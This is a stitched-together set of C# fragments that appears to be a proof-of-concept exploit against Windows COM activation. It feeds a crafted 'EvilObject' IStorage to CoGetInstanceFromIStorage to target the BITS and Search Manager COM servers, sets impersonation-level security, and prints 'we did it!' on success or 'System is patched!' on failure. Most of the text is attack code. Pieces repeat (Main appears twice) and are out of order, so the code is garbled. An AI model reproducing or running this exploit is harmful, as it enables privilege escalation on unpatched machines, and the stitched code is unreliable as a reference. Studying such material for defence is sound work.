public static extern void CoGetInstanceFromIStorage(IntPtr pServerInfo,
ref Guid pclsid,
[MarshalAs(UnmanagedType.IUnknown)] object pUnkOuter,
CLSCTX dwClsCtx,
ImmIStorage pstg,
uint cmq,
[In, Out] IMM_MULTI_QI[] rgmqResults);
public static void Main()
{
IntPtr p_lb = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(IntPtr)));
ZeroMemory(p_lb, Marshal.SizeOf(typeof(IntPtr)));
ImmIStorage storage = null;
var iret = CreateILockBytesOnHGlobal(IntPtr.Zero, false, p_lb);
Console.WriteLine("CreateILockBytesOnHGlobal return value: " + iret);
IntPtr lb = Marshal.ReadIntPtr(p_lb);
Console.WriteLine(String.Format("Read of pointer to ILockBytes object succeeded: {0:x8}", lb.ToInt64()));
StgCreateDocfileOnILockBytes(lb, StgmConstants.CREATE | StgmConstants.READWRITE | StgmConstants.SHARE_EXCLUSIVE, 0, out storage);
Console.WriteLine("StgCreateDocfileOnILockBytes suceeded");
ImmComStorage ics = new ImmComStorage(storage);
Guid bits_clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");
Guid iunknown_clsid = new Guid("00000000-0000-0000-C000-000000000046");
ImmComStorage.MULTI_QI[] interfaces = new ImmComStorage.MULTI_QI[1];
interfaces[0].pIID = ImmComStorage.NativeGuid("00000000-0000-0000-C000-000000000046");
interfaces[0].pItf = null;
interfaces[0].hr = 0;
// COSERVERINFO server_info = null;
BlockingCollection <DataPacket> server_queue = new BlockingCollection <DataPacket>(500);
BlockingCollection <DataPacket> client_queue = new BlockingCollection <DataPacket>(500);
QueueInfo queue_info = new QueueInfo();
queue_info.client_queue = client_queue;
queue_info.server_queue = server_queue;
Thread server_thread = new Thread(new ParameterizedThreadStart(RPCServer));
server_thread.Start(queue_info);
Thread client_thread = new Thread(new ParameterizedThreadStart(RPCClient));
client_thread.Start(queue_info);
TriggerCOM trigger = new TriggerCOM(bits_clsid, ics, interfaces);
Thread trigger_thread = new Thread(trigger.StartCOM);
trigger_thread.Start();
server_thread.Join();
}
public EvilObject(ImmIStorage arg_storage, Guid arg_doc_guid)
{
storage = arg_storage;
qc_mi_guid = new Guid("ECABAFCB-7F19-11D2-978E-0000F8757E2A");
composite_moniker_guid = new Guid("00000309-0000-0000-C000-000000000046");
new_moniker_guid = new Guid("ECABAFC6-7F19-11D2-978E-0000F8757E2A");
iunknown_guid = new Guid("00000000-0000-0000-C000-000000000046");
doc_guid = arg_doc_guid;
}
public static void Main()
{
CoInitialize(IntPtr.Zero);
CoInitializeSecurity(IntPtr.Zero,
-1,
IntPtr.Zero,
IntPtr.Zero,
RpcAuthnLevel.Default,
RpcImpLevel.Impersonate,
IntPtr.Zero,
EoAuthnCap.None,
IntPtr.Zero);
ImmIStorage doc_storage = null;
IntPtr p_lb = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(IntPtr)));
var iret = CreateILockBytesOnHGlobal(IntPtr.Zero, false, p_lb);
IntPtr lb = Marshal.ReadIntPtr(p_lb);
StgCreateDocfileOnILockBytes(lb, STGM.STGM_CREATE | STGM.STGM_READWRITE | STGM.STGM_SHARE_EXCLUSIVE, 0, out doc_storage);
Guid doc_guid = Guid.NewGuid();
ImmIStorage object_storage = new EvilObject(doc_storage, doc_guid);
Guid search_manager_guid = new Guid("7D096C5F-AC08-4F1F-BEB7-5C22C517CE39");
Program.IMM_MULTI_QI[] multi_qi = new IMM_MULTI_QI[1];
// IUnknown
multi_qi[0].pIID = NativeGuid(new Guid("00000000-0000-0000-C000-000000000046"));
multi_qi[0].pItf = null;
multi_qi[0].hr = 0;
try {
CoGetInstanceFromIStorage(IntPtr.Zero,
ref search_manager_guid,
null,
// CLSCTX.CLSCTX_LOCAL_SERVER,
CLSCTX.CLSCTX_INPROC_SERVER | CLSCTX.CLSCTX_INPROC_HANDLER | CLSCTX.CLSCTX_LOCAL_SERVER | CLSCTX.CLSCTX_REMOTE_SERVER,
object_storage,
1,
multi_qi);
} catch (InvalidCastException e) {
Console.WriteLine("Caught InvalidCastException - we did it!");
} catch (UnauthorizedAccessException e) {
Console.WriteLine("System is patched!");
}
}
public extern static int StgCreateDocfileOnILockBytes(IntPtr plkbyt,
STGM grfMode,
int reserved,
out ImmIStorage ppstgOpen);
static extern int StgCreateDocfile([MarshalAs(UnmanagedType.LPWStr)]
string pwcsName,
STGM grfMode,
uint reserved,
out ImmIStorage ppstgOpen);
public void MoveElementTo(string pwcsName, ImmIStorage pstgDest, string pwcsNewName, uint grfFlags)
{
Console.WriteLine(">> " + GetCurrentMethod());
storage.MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);
}
public void CopyTo(uint ciidExclude, Guid[] rgiidExclude, IntPtr snbExclude, ImmIStorage pstgDest)
{
Console.WriteLine(">> " + GetCurrentMethod());
storage.CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);
}
public void OpenStorage(string pwcsName, ImmIStorage pstgPriority, uint grfMode, IntPtr snbExclude, uint reserved, out ImmIStorage ppstg)
{
Console.WriteLine(">> " + GetCurrentMethod());
storage.OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, out ppstg);
}
public void CreateStorage(string pwcsName, uint grfMode, uint reserved1, uint reserved2, out ImmIStorage ppstg)
{
Console.WriteLine(">> " + GetCurrentMethod());
storage.CreateStorage(pwcsName, grfMode, reserved1, reserved2, out ppstg);
}
public ImmComStorage(ImmIStorage arg_storage)
{
storage = arg_storage;
}
